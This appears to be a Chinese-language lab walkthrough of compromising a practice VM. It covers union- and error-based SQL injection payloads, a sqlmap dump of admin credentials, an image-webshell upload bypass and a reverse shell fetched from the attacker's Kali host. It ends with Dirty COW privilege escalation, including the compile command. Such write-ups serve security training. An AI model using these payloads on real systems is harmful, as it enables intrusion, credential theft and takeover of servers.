信息收集
主机发现
端口扫描
目录扫描
漏洞发现及利用
访问80端口:
在很多页面中,有一个页面存在sql注入:
url:
http://192.168.133.146/storypage_04.php?id=115
我吐槽一下,这个环境好慢啊,在点页面上花了好久时间。
输入:?id=115' and 1=1 #
根据回显,多了个单引号。
大概率判断为数字型注入。
?id=115 and 1=1 #
回显正常,判断出数字型注入。
判断列数,有13列。
判断回显位置,有挺多的,但是页面加载速度太慢,用burpsuite进行操作。
爆库:
?id=-115%20union%20select%20database(),2,3,4,5,6,7,8,9,10,11,12,13#
爆表:
?id=-115%20union%20select%20group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.tables%20where%20table_schema='tcic'#
爆字段:
这里再吐槽一下,刚开始我爆的是tcic_member里面的数据,然后登录后台发现错误,最后才知道,管理员账号在tcic_account里面,真的裂开。
?id=-115%20union%20select%20group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13%20from%20information_schema.columns%20where%20table_name='tcic_account'#
然后查数据就好了。
报错注入也可以,给出语句:
updatexml:
?id=-115%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#
exp():
?id=-115%20and%20exp(~(select%20*%20from%20(select%20database())x))#
当然还有其他的报错方式。
这里使用sqlmap获得数据:
直接给出最终代码(库表列都知道了):
sqlmap -u "http://192.168.133.146/storypage_04.php?id=107" -D "tcic" -T "tcic_account" -C "name,password,account" --dump
目录扫描获得了登录后台:
登录。
在这个地方有xss漏洞:
页面中还有很多上传点,有文件上传漏洞。
在此处有文件上传漏洞。
上传php文件:
这里有点恶心,弹框时上传成功,其实没有,页面也进行了报错。
尝试上传图片马:
上传成功,而且没有报错,右击查看图片地址,并访问:
这里也知道了,对文件内容进行了验证,所以我们也可以在文件内容中添加GIF89a 。
上传一句话木马文件,使用蚁剑进行连接:
开启虚拟终端,并反弹shell到kali上。
这里因为蚁剑开启的只是一个虚拟终端,一些反弹shell的命令无法使用。
我这里使用了如下方法:
在kali中创建反弹shell的脚本,并开启80服务:
蚁剑中下载该脚本到tmp目录下,并运行:
kali监听对应端口,成功反弹shell:
php的反弹shell脚本不知道为什么不行:
提权
使用脏牛进行提权,下载kali中的脏牛脚本:
进行编译:
gcc -pthread dirty.c -o exp -lcrypt //exp为输出文件名(固定格式)
运行:
开启一个终端:
python -c ‘import pty;pty.spawn("/bin/bash")’
切换firefart用户:
总结
这个环境并不是很难,但是及其不友好。
sql注入点的发现相对简单,但是过程艰难(没办法,自己是个霉b)。
上传点其实有很多,但是利用点需要耐心去发现。
蚁剑的虚拟终端还是得反弹到kali上。